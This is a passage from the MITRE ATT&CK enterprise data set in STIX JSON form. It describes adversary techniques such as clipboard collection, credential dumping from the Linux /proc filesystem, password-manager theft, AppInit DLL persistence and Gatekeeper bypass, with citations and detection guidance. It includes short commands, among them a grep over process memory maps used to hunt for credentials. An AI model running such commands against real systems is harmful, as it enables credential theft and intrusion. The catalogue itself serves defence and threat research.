[PowerShell](https://attack.mitre.org/techniques/T1059/001), as well as through cloud APIs and command line interfaces.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["Linux", "macOS", "Windows", "IaaS", "SaaS"], "x_mitre_version": "1.2", "x_mitre_data_sources": ["Command: Command Execution", "File: File Access", "Script: Script Execution"], "x_mitre_system_requirements": ["Permissions to access directories, files, and API endpoints that store information of interest."], "type": "attack-pattern", "id": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619", "created": "2017-05-31T21:31:27.985Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1119", "external_id": "T1119"}, {"source_name": "Mandiant UNC3944 SMS Phishing 2023", "description": "Mandiant Intelligence. (2023, September 14). Why Are You Texting Me? UNC3944 Leverages SMS Phishing Campaigns for SIM Swapping, Ransomware, Extortion, and Notoriety. Retrieved January 2, 2024.", "url": "https://www.mandiant.com/resources/blog/unc3944-sms-phishing-sim-swapping-ransomware"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-04-14T21:51:47.277Z", "name": "Clipboard Data", "description": "Adversaries may collect data stored in the clipboard from users copying information within or between applications. \n\nFor example, on Windows adversaries can access clipboard data by using <code>clip.exe</code> or <code>Get-Clipboard</code>.(Citation: MSDN Clipboard)(Citation: clip_win_server)(Citation: CISA_AA21_200B) Additionally, adversaries may monitor then replace users\u2019 clipboard with their data (e.g., [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002)).(Citation: mining_ruby_reversinglabs)\n\nmacOS and Linux also have commands, such as <code>pbpaste</code>, to grab clipboard contents.(Citation: Operating with EmPyre)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "collection"}], "x_mitre_deprecated": false, "x_mitre_detection": "Access to the clipboard is a legitimate function of many applications on an operating system. If an organization chooses to monitor for this behavior, then the data will likely need to be correlated against other suspicious or non-user-driven activity.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["Linux", "Windows", "macOS"], "x_mitre_version": "1.2", "x_mitre_data_sources": ["Process: OS API Execution", "Command: Command Execution"], "type": "attack-pattern", "id": "attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f", "created": "2017-05-31T21:31:25.967Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1115", "external_id": "T1115"}, {"source_name": "CISA_AA21_200B", "description": "CISA. (2021, August 20). Alert (AA21-200B) Chinese State-Sponsored Cyber Operations: Observed TTPs. Retrieved June 21, 2022.", "url": "https://www.cisa.gov/uscert/ncas/alerts/aa21-200b"}, {"source_name": "mining_ruby_reversinglabs", "description": "Maljic, T. (2020, April 16). Mining for malicious Ruby gems. Retrieved October 15, 2022.", "url": "https://blog.reversinglabs.com/blog/mining-for-malicious-ruby-gems"}, {"source_name": "clip_win_server", "description": "Microsoft, JasonGerend, et al. (2023, February 3). clip. Retrieved June 21, 2022.", "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/clip"}, {"source_name": "MSDN Clipboard", "description": "Microsoft. (n.d.). About the Clipboard. Retrieved March 29, 2016.", "url": "https://msdn.microsoft.com/en-us/library/ms649012"}, {"source_name": "Operating with EmPyre", "description": "rvrsh3ll. (2016, May 18). Operating with EmPyre. Retrieved July 12, 2017.", "url": "https://medium.com/rvrsh3ll/operating-with-empyre-ea764eda3363"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-04-10T16:41:01.496Z", "name": "Proc Filesystem", "description": "Adversaries may gather credentials from the proc filesystem or `/proc`. The proc filesystem is a pseudo-filesystem used as an interface to kernel data structures for Linux based systems managing virtual memory. For each process, the `/proc/<PID>/maps` file shows how memory is mapped within the process\u2019s virtual address space. And `/proc/<PID>/mem`, exposed for debugging purposes, provides access to the process\u2019s virtual address space.(Citation: Picus Labs Proc cump 2022)(Citation: baeldung Linux proc map 2022)\n\nWhen executing with root privileges, adversaries can search these memory locations for all processes on a system that contain patterns indicative of credentials. Adversaries may use regex patterns, such as <code>grep -E \"^[0-9a-f-]* r\" /proc/\"$pid\"/maps | cut -d' ' -f 1</code>, to look for fixed strings in memory structures or cached hashes.(Citation: atomic-red proc file system) When running without privileged access, processes can still view their own virtual memory locations. Some services or programs may save credentials in clear text inside the process\u2019s memory.(Citation: MimiPenguin GitHub May 2017)(Citation: Polop Linux PrivEsc Gitbook)\n\nIf running as or with the permissions of a web browser, a process can search the `/maps` & `/mem` locations for common website credential patterns (that can also be used to find adjacent memory within the same structure) in which hashes or cleartext credentials may be located.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "credential-access"}], "x_mitre_contributors": ["Tim (Wadhwa-)Brown"], "x_mitre_deprecated": false, "x_mitre_detection": "To obtain the passwords and hashes stored in memory, processes must open a maps file in the `/proc` filesystem for the process being analyzed. This file is stored under the path `/proc/PID/maps`, where the `PID` directory is the unique pid of the program being interrogated for such authentication data. The AuditD monitoring tool, which ships stock in many Linux distributions, can be used to watch for hostile processes opening this file in the proc file system, alerting on the pid, process name, and arguments of such programs.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Linux"], "x_mitre_version": "1.2", "x_mitre_data_sources": ["Command: Command Execution", "File: File Access"], "type": "attack-pattern", "id": "attack-pattern--3120b9fa-23b8-4500-ae73-09494f607b7d", "created": "2020-02-11T18:46:24.434Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1003/007", "external_id": "T1003.007"}, {"source_name": "atomic-red proc file system", "description": "Atomic Red Team. (2023, November). T1003.007 - OS Credential Dumping: Proc Filesystem. Retrieved March 28, 2024.", "url": "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1003.007/T1003.007.md"}, {"source_name": "baeldung Linux proc map 2022", "description": "baeldung. (2022, April 8). Understanding the Linux /proc/id/maps File. Retrieved March 31, 2023.", "url": "https://www.baeldung.com/linux/proc-id-maps"}, {"source_name": "Polop Linux PrivEsc Gitbook", "description": "Carlos Polop. (2023, March 5). Linux Privilege Escalation. Retrieved March 31, 2023.", "url": "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#proc-usdpid-maps-and-proc-usdpid-mem"}, {"source_name": "MimiPenguin GitHub May 2017", "description": "Gregal, H. (2017, May 12). MimiPenguin. Retrieved December 5, 2017.", "url": "https://github.com/huntergregal/mimipenguin"}, {"source_name": "Picus Labs Proc cump 2022", "description": "Huseyin Can YUCEEL & Picus Labs. (2022, March 22). Retrieved March 31, 2023.", "url": "https://www.picussecurity.com/resource/the-mitre-attck-t1003-os-credential-dumping-technique-and-its-adversary-use"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["PRE"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--31225cd3-cd46-4575-b287-c2c14011c074", "type": "attack-pattern", "created": "2020-10-01T00:49:05.467Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1583.005", "url": "https://attack.mitre.org/techniques/T1583/005"}, {"source_name": "Norton Botnet", "url": "https://us.norton.com/internetsecurity-malware-what-is-a-botnet.html", "description": "Norton. (n.d.). What is a botnet?. Retrieved October 4, 2020."}, {"source_name": "Imperva DDoS for Hire", "url": "https://www.imperva.com/learn/ddos/booters-stressers-ddosers/", "description": "Imperva. (n.d.). Booters, Stressers and DDoSers. Retrieved October 4, 2020."}, {"source_name": "Krebs-Anna", "description": "Brian Krebs. (2017, January 18). Who is Anna-Senpai, the Mirai Worm Author?. Retrieved May 15, 2017.", "url": "https://krebsonsecurity.com/2017/01/who-is-anna-senpai-the-mirai-worm-author/"}, {"source_name": "Krebs-Bazaar", "description": "Brian Krebs. (2016, October 31). Hackforums Shutters Booter Service Bazaar. Retrieved May 15, 2017.", "url": "https://krebsonsecurity.com/2016/10/hackforums-shutters-booter-service-bazaar/"}, {"source_name": "Krebs-Booter", "description": "Brian Krebs. (2016, October 27). Are the Days of \u201cBooter\u201d Services Numbered?. Retrieved May 15, 2017.", "url": "https://krebsonsecurity.com/2016/10/are-the-days-of-booter-services-numbered/"}], "modified": "2021-04-15T02:49:14.664Z", "name": "Botnet", "description": "Adversaries may buy, lease, or rent a network of compromised systems\u00a0that can be used during targeting. A botnet is a network of compromised systems that can be instructed to perform coordinated tasks.(Citation: Norton Botnet) Adversaries may purchase a subscription to use an existing botnet from a booter/stresser service. With a botnet at their disposal, adversaries may perform follow-on activity such as large-scale [Phishing](https://attack.mitre.org/techniques/T1566) or Distributed Denial of Service (DDoS).(Citation: Imperva DDoS for Hire)(Citation: Krebs-Anna)(Citation: Krebs-Bazaar)(Citation: Krebs-Booter)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "resource-development"}], "x_mitre_detection": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during [Phishing](https://attack.mitre.org/techniques/T1566), [Endpoint Denial of Service](https://attack.mitre.org/techniques/T1499), or [Network Denial of Service](https://attack.mitre.org/techniques/T1498).", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Matt Burrough, @mattburrough, Microsoft"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--315f51f0-6b03-4c1e-bfb2-84740afb8e21", "type": "attack-pattern", "created": "2021-01-22T16:08:40.629Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1555.005", "url": "https://attack.mitre.org/techniques/T1555/005"}, {"source_name": "ise Password Manager February 2019", "url": "https://www.ise.io/casestudies/password-manager-hacking/", "description": "ise. (2019, February 19). Password Managers: Under the Hood of Secrets Management. Retrieved January 22, 2021."}, {"source_name": "FoxIT Wocao December 2019", "url": "https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf", "description": "Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China\u2019s hidden hacking groups. Retrieved October 8, 2020."}, {"source_name": "Github KeeThief", "url": "https://github.com/GhostPack/KeeThief", "description": "Lee, C., Schoreder, W. (n.d.). KeeThief. Retrieved February 8, 2021."}, {"source_name": "NVD CVE-2019-3610", "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-3610", "description": "National Vulnerability Database. (2019, October 9). CVE-2019-3610 Detail. Retrieved April 14, 2021."}, {"source_name": "Cyberreason Anchor December 2019", "url": "https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware", "description": "Dahan, A. et al. (2019, December 11). DROPPING ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September 10, 2020."}], "modified": "2022-03-25T13:18:55.310Z", "name": "Password Managers", "description": "Adversaries may acquire user credentials from third-party password managers.(Citation: ise Password Manager February 2019) Password managers are applications designed to store user credentials, normally in an encrypted database. Credentials are typically accessible after a user provides a master password that unlocks the database. After the database is unlocked, these credentials may be copied to memory. These databases can be stored as files on disk.(Citation: ise Password Manager February 2019)\n\nAdversaries may acquire user credentials from password managers by extracting the master password and/or plain-text credentials from memory.(Citation: FoxIT Wocao December 2019)(Citation: Github KeeThief) Adversaries may extract credentials from memory via [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212).(Citation: NVD CVE-2019-3610)\n Adversaries may also try brute forcing via [Password Guessing](https://attack.mitre.org/techniques/T1110/001) to obtain the master password of a password manager.(Citation: Cyberreason Anchor December 2019)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "credential-access"}], "x_mitre_detection": "Consider monitoring API calls, file read events, and processes for suspicious activity that could indicate searching in process memory of password managers. \n\nConsider monitoring file reads surrounding known password manager applications.", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Process: Process Access", "Process: OS API Execution", "File: File Access", "Command: Command Execution"], "x_mitre_permissions_required": ["User"]}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--317fefa6-46c7-4062-adb6-2008cf6bcb41", "type": "attack-pattern", "created": "2017-05-31T21:31:15.409Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "external_id": "T1103", "url": "https://attack.mitre.org/techniques/T1103"}, {"url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", "source_name": "Elastic Process Injection July 2017"}, {"url": "https://support.microsoft.com/en-us/kb/197571", "description": "Microsoft. (2006, October). Working with the AppInit_DLLs registry value. Retrieved July 15, 2015.", "source_name": "AppInit Registry"}, {"url": "https://msdn.microsoft.com/en-us/library/dn280412", "description": "Microsoft. (n.d.). AppInit DLLs and Secure Boot. Retrieved July 15, 2015.", "source_name": "AppInit Secure Boot"}, {"url": "https://technet.microsoft.com/en-us/sysinternals/bb963902", "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.", "source_name": "TechNet Autoruns"}], "modified": "2020-11-10T18:29:30.379Z", "name": "AppInit DLLs", "description": "Dynamic-link libraries (DLLs) that are specified in the AppInit_DLLs value in the Registry keys <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows</code> or <code>HKEY_LOCAL_MACHINE\\Software\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Windows</code> are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library. (Citation: Elastic Process Injection July 2017) Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values can be abused to obtain persistence and privilege escalation by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. (Citation: AppInit Registry)\n\nThe AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled. (Citation: AppInit Secure Boot)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "persistence"}, {"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}], "x_mitre_detection": "Monitor DLL loads by processes that load user32.dll and look for DLLs that are not recognized or not normally loaded into a process. Monitor the AppInit_DLLs Registry values for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Elastic Process Injection July 2017) Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current AppInit DLLs. (Citation: TechNet Autoruns) \n\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement.", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_permissions_required": ["Administrator"], "x_mitre_system_requirements": ["Secure boot disabled on systems running Windows 8 and later"], "x_mitre_effective_permissions": ["Administrator", "SYSTEM"], "x_mitre_is_subtechnique": false}, {"modified": "2022-10-21T19:30:58.414Z", "name": "Gatekeeper Bypass", "description": "Adversaries may modify file attributes and subvert Gatekeeper functionality to evade user prompts and execute untrusted programs. Gatekeeper is a set of technologies that act as layer of Apple\u2019s security model to ensure only trusted applications are executed on a host. Gatekeeper was built on top of File Quarantine in Snow Leopard (10.6, 2009) and has grown to include Code Signing, security policy compliance, Notarization, and more. Gatekeeper also treats applications running for the first time differently than reopened applications.(Citation: TheEclecticLightCompany Quarantine and the flag)(Citation: TheEclecticLightCompany apple notarization )\n\nBased on an opt-in system, when files are downloaded an extended attribute (xattr) called `com.apple.quarantine` (also known as a quarantine flag) can be set on the file by the application performing the download. Launch Services opens the application in a suspended state. For first run applications with the quarantine flag set, Gatekeeper executes the following functions:\n\n1. Checks extended attribute \u2013 Gatekeeper checks for the quarantine flag, then provides an alert prompt to the user to allow or deny execution.(Citation: OceanLotus for OS X)(Citation: 20 macOS Common Tools and Techniques)\n\n2. Checks System Policies - Gatekeeper checks the system security policy, allowing execution of apps downloaded from either just the App Store or the App Store and identified developers.\n\n3. Code Signing \u2013 Gatekeeper checks for a valid code signature from an Apple Developer ID.\n\n4. Notarization - Using the `api.apple-cloudkit.com` API, Gatekeeper reaches out to Apple servers to verify or pull down the notarization ticket and ensure the ticket is not revoked. Users can override notarization, which will result in a prompt of executing an \u201cunauthorized app\u201d and the security policy will be modified.\n\nAdversaries can subvert one or multiple security controls within Gatekeeper checks through logic errors (e.g. [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211)), unchecked file types, and external libraries. For example, prior to macOS 13 Ventura, code signing and notarization checks were only conducted on first launch, allowing adversaries to write malicious executables to previously opened applications in order to bypass Gatekeeper security checks.(Citation: theevilbit gatekeeper bypass 2021)(Citation: Application Bundle Manipulation Brandon Dalton)\n\nApplications and files loaded onto the system from a USB flash drive, optical disk, external hard drive, from a drive shared over the local network, or using the curl command may not set the quarantine flag. Additionally, it is possible to avoid setting the quarantine flag using [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_detection": "The removal of the <code>com.apple.quarantine</code> flag by a user instead of the operating system is a suspicious action and should be examined further. Monitor and investigate attempts to modify extended file attributes with utilities such as <code>xattr</code>. Built-in system utilities may generate high false positive alerts, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible. Monitor software update frameworks that strip the <code>com.apple.quarantine</code> flag when performing updates. \n\nReview <code>false</code> values under the <code>LSFileQuarantineEnabled</code> entry in an application's <code>Info.plist</code> file (required by every application). <code>false</code> under <code>LSFileQuarantineEnabled</code> indicates that an application does not use the quarantine flag. Unsandboxed applications with an unspecified <code>LSFileQuarantineEnabled</code> entry will default to not setting the quarantine flag. \n\nQuarantineEvents is a SQLite database containing a list of all files assigned the <code>com.apple.quarantine</code> attribute, located at <code>~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2</code>. Each event contains the corresponding UUID, timestamp, application, Gatekeeper score, and decision if it was allowed.(Citation: TheEclecticLightCompany Quarantine and the flag)", "x_mitre_platforms": ["macOS"], "x_mitre_is_subtechnique": true, "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "1.2", "x_mitre_contributors": ["Brandon Dalton @PartyD0lphin", "Swasti Bhushan Deb, IBM India Pvt. Ltd."], "x_mitre_data_sources": ["Process: Process Creation", "Command: Command Execution", "File: File Metadata", "File: File Modification"], "x_mitre_defense_bypassed": ["Anti-virus", "Application Control"], "type": "attack-pattern", "id": "attack-pattern--31a0a2ac-c67c-4a7e-b9ed-6a96477d4e8e", "created": "2020-02-05T16:16:08.471Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1553/001", "external_id": "T1553.001"}, {"source_name": "Application Bundle Manipulation Brandon Dalton", "description": "Brandon Dalton. (2022, August 9). A bundle of nerves: Tweaking macOS security controls to thwart application bundle manipulation. Retrieved September 27, 2022.", "url": "https://redcanary.com/blog/mac-application-bundles/"}, {"source_name": "theevilbit gatekeeper bypass 2021", "description": "Csaba Fitzl. (2021, June 29). GateKeeper - Not a Bypass (Again). Retrieved September 22, 2021.", "url": "https://theevilbit.github.io/posts/gatekeeper_not_a_bypass/"}, {"source_name": "OceanLotus for OS X", "description": "Eddie Lee. (2016, February 17). OceanLotus for OS X - an Application Bundle Pretending to be an Adobe Flash Update. Retrieved July 5, 2017.", "url": "https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update"}, {"source_name": "TheEclecticLightCompany Quarantine and the flag", "description": "hoakley. (2020, October 29). Quarantine and the quarantine flag. Retrieved September 13, 2021.", "url": "https://eclecticlight.co/2020/10/29/quarantine-and-the-quarantine-flag/"}, {"source_name": "TheEclecticLightCompany apple notarization ", "description": "How Notarization Works. (2020, August 28). How notarization works. Retrieved September 13, 2021.", "url": "https://eclecticlight.co/2020/08/28/how-notarization-works/"}, {"source_name": "20 macOS Common Tools and Techniques", "description": "Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.", "url": "https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-04-15T00:21:55.791Z", "name": "Drive-by Target", "description": "Adversaries may prepare an operational environment to infect systems that visit a website over the normal course of browsing. Endpoint systems may be compromised through browsing to adversary controlled sites, as in [Drive-by Compromise](https://attack.mitre.org/techniques/T1189). In such cases, the user's web browser is typically targeted for exploitation (often not requiring any extra user interaction once landing on the site), but adversaries may also set up websites for non-exploitation behavior such as [Application Access Token](https://attack.mitre.org/techniques/T1550/001). Prior to [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), adversaries must stage resources needed to deliver that exploit to users who browse to an adversary controlled site. Drive-by content can be staged on adversary controlled infrastructure that has been acquired ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or previously compromised ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)).\n\nAdversaries may upload or inject malicious web content, such as [JavaScript](https://attack.mitre.org/techniques/T1059/007), into websites.(Citation: FireEye CFR Watering Hole 2012)(Citation: Gallagher 2015) This may be done in a number of ways, including:\n\n* Inserting malicious scripts into web pages or other user controllable web content such as forum posts\n* Modifying script files served to websites from publicly writeable cloud storage buckets\n* Crafting malicious web advertisements and purchasing ad space on a website through legitimate ad providers (i.e., [Malvertising](https://attack.mitre.org/techniques/T1583/008))\n\nIn addition to staging content to exploit a user's web browser, adversaries may also stage scripting content to profile the user's browser (as in [Gather Victim Host Information](https://attack.mitre.org/techniques/T1592)) to ensure it is vulnerable prior to attempting exploitation.(Citation: ATT ScanBox)\n\nWebsites compromised by an adversary and used to stage a drive-by may be ones visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted campaign is referred to a strategic web compromise or watering hole attack.\n\nAdversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure ([Domains](https://attack.mitre.org/techniques/T1583/001)) to help facilitate [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "resource-development"}], "x_mitre_deprecated": false, "x_mitre_detection": "If infrastructure or patterns in the malicious web content utilized to deliver a [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) have been previously identified, internet scanning may uncover when an adversary has staged web content for use in a strategic web compromise.\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on other phases of the adversary lifecycle, such as [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) or [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203).", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["PRE"], "x_mitre_version": "1.3", "x_mitre_data_sources": ["Internet Scan: Response Content"], "type": "attack-pattern", "id": "attack-pattern--31fe0ba2-62fd-4fd9-9293-4043d84f7fe9", "created": "2021-03-17T20:33:20.127Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1608/004", "external_id": "T1608.004"}, {"source_name": "ATT ScanBox", "description": "Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020.", "url": "https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks"}, {"source_name": "Gallagher 2015", "description": "Gallagher, S.. (2015, August 5). Newly discovered Chinese hacking group hacked 100+ websites to use as \u201cwatering holes\u201d. Retrieved January 25, 2016.", "url": "http://arstechnica.com/security/2015/08/newly-discovered-chinese-hacking-group-hacked-100-websites-to-use-as-watering-holes/"}, {"source_name": "FireEye CFR Watering Hole 2012", "description": "Kindlund, D. (2012, December 30). CFR Watering Hole Attack Details. Retrieved December 18, 2020.", "url": "https://www.fireeye.com/blog/threat-research/2012/12/council-foreign-relations-water-hole-attack-details.html"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-04-03T18:55:18.326Z", "name": "System Service Discovery", "description": "Adversaries may try to gather information about registered local system services. Adversaries may obtain information about services using tools as well as OS utility commands such as <code>sc query</code>, <code>tasklist /svc</code>, <code>systemctl --type=service</code>, and <code>net start</code>.\n\nAdversaries may use the information from [System Service Discovery](https://attack.mitre.org/techniques/T1007) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "discovery"}], "x_mitre_contributors": ["Harshal Tupsamudre, Qualys"], "x_mitre_deprecated": false, "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system information related to services. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["Windows", "macOS", "Linux"], "x_mitre_version": "1.5", "x_mitre_data_sources": ["Command: Command Execution", "Process: Process Creation", "Process: OS API Execution"], "type": "attack-pattern", "id": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa", "created": "2017-05-31T21:30:21.315Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1007", "external_id": "T1007"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-04-19T12:32:44.370Z", "name": "Network Sniffing", "description": "Adversaries may passively sniff network traffic to capture information about an environment, including authentication material passed over the network. Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.\n\nData captured via this technique may include user credentials, especially those sent over an insecure, unencrypted protocol. Techniques for name service resolution poisoning, such as [LLMNR/NBT-NS Poisoning and SMB Relay](https://attack.mitre.org/techniques/T1557/001), can also be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary.\n\nNetwork sniffing may reveal configuration details, such as running services, version numbers, and other network characteristics (e.g. IP addresses, hostnames, VLAN IDs) necessary for subsequent [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and/or [Defense Evasion](https://attack.mitre.org/tactics/TA0005) activities. Adversaries may likely also utilize network sniffing during [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) (AiTM) to passively gain additional knowledge about the environment.\n\nIn cloud-based environments, adversaries may still be able to use traffic mirroring services to sniff network traffic from virtual machines. For example, AWS Traffic Mirroring, GCP Packet Mirroring, and Azure vTap allow users to define specified instances to collect traffic from and specified targets to send collected traffic to.(Citation: AWS Traffic Mirroring)(Citation: GCP Packet Mirroring)(Citation: Azure Virtual Network TAP) Often, much of this traffic will be in cleartext due to the use of TLS termination at the load balancer level to 